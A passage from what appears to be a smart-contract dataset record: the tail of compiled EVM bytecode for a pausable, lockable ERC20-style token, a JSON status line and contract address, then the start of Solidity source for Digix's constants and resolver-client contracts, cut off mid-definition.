9080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ef1565b604051808215151515815260200191505060405180910390f35b34801561094357600080fd5b50610aae6004803603606081101561095a57600080fd5b810190808035906020019064010000000081111561097757600080fd5b82018360208201111561098957600080fd5b803590602001918460208302840111640100000000831117156109ab57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610a0b57600080fd5b820183602082011115610a1d57600080fd5b80359060200191846020830284011164010000000083111715610a3f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8d565b604051808215151515815260200191505060405180910390f35b348015610ad457600080fd5b50610add61224f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2b57600080fd5b50610b8e60048036036040811015610b4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612279565b6040518082815260200191505060405180910390f35b348015610bb057600080fd5b50610c6760048036036020811015610bc757600080fd5b8101908080359060200190640100000000811115610be457600080fd5b820183602082011115610bf657600080fd5b80359060200191846020830284011164010000000083111715610c1857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612300565b604051808215151515815260200191505060405180910390f35b348015610c8d57600080fd5b50610cd060048036036020811015610ca457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612494565b6040518082815260200191505060405180910390f35b348015610cf257600080fd5b50610e3d60048036036040811015610d0957600080fd5b8101908080359060200190640100000000811115610d2657600080fd5b820183602082011115610d3857600080fd5b80359060200191846020830284011164010000000083111715610d5a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610dba57600080fd5b820183602082011115610dcc57600080fd5b80359060200191846020830284011164010000000083111715610dee57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506124dd565b604051808215151515815260200191505060405180910390f35b348015610e6357600080fd5b50610ea660048036036020811015610e7a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126d2565b005b348015610eb457600080fd5b50610fff60048036036040811015610ecb57600080fd5b8101908080359060200190640100000000811115610ee857600080fd5b820183602082011115610efa57600080fd5b80359060200191846020830284011164010000000083111715610f1c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610f7c57600080fd5b820183602082011115610f8e57600080fd5b80359060200191846020830284011164010000000083111715610fb057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061280d565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110b15780601f10611086576101008083540402835291602001916110b1565b820191906000526020600020905b81548152906001019060200180831161109457829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff16151515611142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d3384846129dc565b6001905092915050565b6000611161611c3c565b15156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008451111515611274576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b825184511415156112ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156113d557611335858281518110151561130d57fe5b9060200190602002015184868481518110151561132657fe5b90602001906020020151612c5d565b8273ffffffffffffffffffffffffffffffffffffffff16858281518110151561135a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1314fd112a381beea61539dbd21ec04afcff2662ac7d1b83273aade1f53d1b9786848151811015156113a957fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506112f3565b50600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff16151515611472576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61147d848484612c5d565b611516843361151185600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b6129dc565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160149054906101000a900460ff161515156115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611658338461165385600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b6129dc565b6001905092915050565b61166a611c3c565b15156116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff161515611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60006117b5611c3c565b1515611829576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611833838361309c565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652070656e646981526020017f6e67206f776e657200000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6119313361325b565b565b600160149054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611997611c3c565b1515611a0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611ad2611c3c565b1515611b46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16151515611bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d2b5780601f10611d0057610100808354040283529160200191611d2b565b820191906000526020600020905b815481529060010190602001808311611d0e57829003601f168201915b5050505050905090565b6000611d3f611c3c565b1515611db3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611dbd83836133e4565b6001905092915050565b6000600160149054906101000a900460ff16151515611e4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611ee73384611ee285600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b6129dc565b6001905092915050565b6000600160149054906101000a900460ff16151515611f78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611f83338484612c5d565b6001905092915050565b6000611f97611c3c565b151561200b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156120aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b82518451141515612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b84518110156122435761216a858281518110151561214357fe5b90602001906020020151858381518110151561215b57fe5b906020019060200201516135a3565b6121a3858281518110151561217b57fe5b9060200190602002015184868481518110151561219457fe5b90602001906020020151612c5d565b8273ffffffffffffffffffffffffffffffffffffffff1685828151811015156121c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcef2a588ab872cf14edd1b152ab54525aa85d0ccf08912fb5cdd419f0ef6d063868481518110151561221757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612129565b50600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061230a611c3c565b151561237e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082511115156123f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b60008090505b825181101561248a5761247d838281518110151561241757fe5b9060200190602002015160066000868581518110151561243357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613862565b80806001019150506123fd565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006124e7611c3c565b151561255b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600083511115156125fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4c6f636b546f6b656e3a20756e6c6f636b206164647265737320697320656d7081526020017f747900000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156126c7576126ba848281518110151561269357fe5b9060200190602002015184838151811015156126ab57fe5b906020019060200201516135a3565b8080600101915050612679565b506001905092915050565b6126da611c3c565b151561274e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8573d4aae9f7fb051c6b88d7440011a1c12376acda6603a45f45bad36a8db4ce60405160405180910390a350565b6000612817611c3c565b151561288b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008351111515612904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561297d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156129d1576129c4848281518110151561299d57fe5b9060200190602002015184838151811015156129b557fe5b90602001906020020151613862565b8080600101915050612983565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612aa7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612b72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612d28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612df3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612e4581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eda81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515613001576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515613092576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515613141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6131568160055461301290919063ffffffff16565b6005819055506131ae81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613326576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515613489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6134db81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353381600554612f8790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561366e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61373881600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137cd81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561392d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156139a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b6139f781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a8c81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a7230582049c2d7ba22cff15230fab8da76ad8a327c39d6aa2cacfeec28d647028d1e13de0029
|
{"success": true, "error": null, "results": {}}
| 5,334 |
0x8ad5b423096548ff65f4fc3c8bca404dea8c66eb
|
pragma solidity ^0.4.19;
contract DigixConstants {
/// general constants
uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60;
/// asset events
uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1;
uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2;
uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3;
uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4;
uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5;
uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6;
uint256 constant ASSET_EVENT_MINTED = 7;
uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8;
uint256 constant ASSET_EVENT_RECASTED = 9;
uint256 constant ASSET_EVENT_REDEEMED = 10;
uint256 constant ASSET_EVENT_FAILED_AUDIT = 11;
uint256 constant ASSET_EVENT_ADMIN_FAILED = 12;
uint256 constant ASSET_EVENT_REMINTED = 13;
/// roles
uint256 constant ROLE_ZERO_ANYONE = 0;
uint256 constant ROLE_ROOT = 1;
uint256 constant ROLE_VENDOR = 2;
uint256 constant ROLE_XFERAUTH = 3;
uint256 constant ROLE_POPADMIN = 4;
uint256 constant ROLE_CUSTODIAN = 5;
uint256 constant ROLE_AUDITOR = 6;
uint256 constant ROLE_MARKETPLACE_ADMIN = 7;
uint256 constant ROLE_KYC_ADMIN = 8;
uint256 constant ROLE_FEES_ADMIN = 9;
uint256 constant ROLE_DOCS_UPLOADER = 10;
uint256 constant ROLE_KYC_RECASTER = 11;
uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12;
/// states
uint256 constant STATE_ZERO_UNDEFINED = 0;
uint256 constant STATE_CREATED = 1;
uint256 constant STATE_VENDOR_ORDER = 2;
uint256 constant STATE_TRANSFER = 3;
uint256 constant STATE_CUSTODIAN_DELIVERY = 4;
uint256 constant STATE_MINTED = 5;
uint256 constant STATE_AUDIT_FAILURE = 6;
uint256 constant STATE_REPLACEMENT_ORDER = 7;
uint256 constant STATE_REPLACEMENT_DELIVERY = 8;
uint256 constant STATE_RECASTED = 9;
uint256 constant STATE_REDEEMED = 10;
uint256 constant STATE_ADMIN_FAILURE = 11;
/// interactive contracts
bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer";
bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin";
bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin";
bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token";
bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information";
bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity";
/// controller contracts
bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer";
bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin";
bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer";
bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid";
bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity";
/// storage contracts
bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset";
bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events";
bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory";
bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp";
bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products";
bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken";
bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid";
bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity";
/// service contracts
bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage";
bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp";
bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory";
/// fees distributors
bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage";
bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast";
bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer";
}
contract ContractResolver {
address public owner;
bool public locked;
function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success);
function unregister_contract(bytes32 _key) public returns (bool _success);
function get_contract(bytes32 _key) public constant returns (address _contract);
}
contract ResolverClient {
/// The address of the resolver contract for this project
address public resolver;
/// The key to identify this contract
bytes32 public key;
/// Make our own address available to us as a constant
address public CONTRACT_ADDRESS;
/// Function modifier to check if msg.sender corresponds to the resolved address of a given key
/// @param _contract The resolver key
modifier if_sender_is(bytes32 _contract) {
require(msg.sender == ContractResolver(resolver).get_contract(_contract));
_;
}
/// Function modifier to check resolver's locking status.
modifier unless_resolver_is_locked() {
require(is_locked() == false);
_;
}
/// @dev Initialize new contract
/// @param _key the resolver key for this contract
/// @return _success if the initialization is successful
function init(bytes32 _key, address _resolver)
internal
returns (bool _success)
{
bool _is_locked = ContractResolver(_resolver).locked();
if (_is_locked == false) {
CONTRACT_ADDRESS = address(this);
resolver = _resolver;
key = _key;
require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));
_success = true;
} else {
_success = false;
}
}
/// @dev Destroy the contract and unregister self from the ContractResolver
/// @dev Can only be called by the owner of ContractResolver
function destroy()
public
returns (bool _success)
{
bool _is_locked = ContractResolver(resolver).locked();
require(!_is_locked);
address _owner_of_contract_resolver = ContractResolver(resolver).owner();
require(msg.sender == _owner_of_contract_resolver);
_success = ContractResolver(resolver).unregister_contract(key);
require(_success);
selfdestruct(_owner_of_contract_resolver);
}
/// @dev Check if resolver is locked
/// @return _locked if the resolver is currently locked
function is_locked()
private
constant
returns (bool _locked)
{
_locked = ContractResolver(resolver).locked();
}
/// @dev Get the address of a contract
/// @param _key the resolver key to look up
/// @return _contract the address of the contract
function get_contract(bytes32 _key)
public
constant
returns (address _contract)
{
_contract = ContractResolver(resolver).get_contract(_key);
}
}
/// @title Some useful constants
/// @author Digix Holdings Pte Ltd
contract Constants {
address constant NULL_ADDRESS = address(0x0);
uint256 constant ZERO = uint256(0);
bytes32 constant EMPTY = bytes32(0x0);
}
/// @title Condition based access control
/// @author Digix Holdings Pte Ltd
contract ACConditions is Constants {
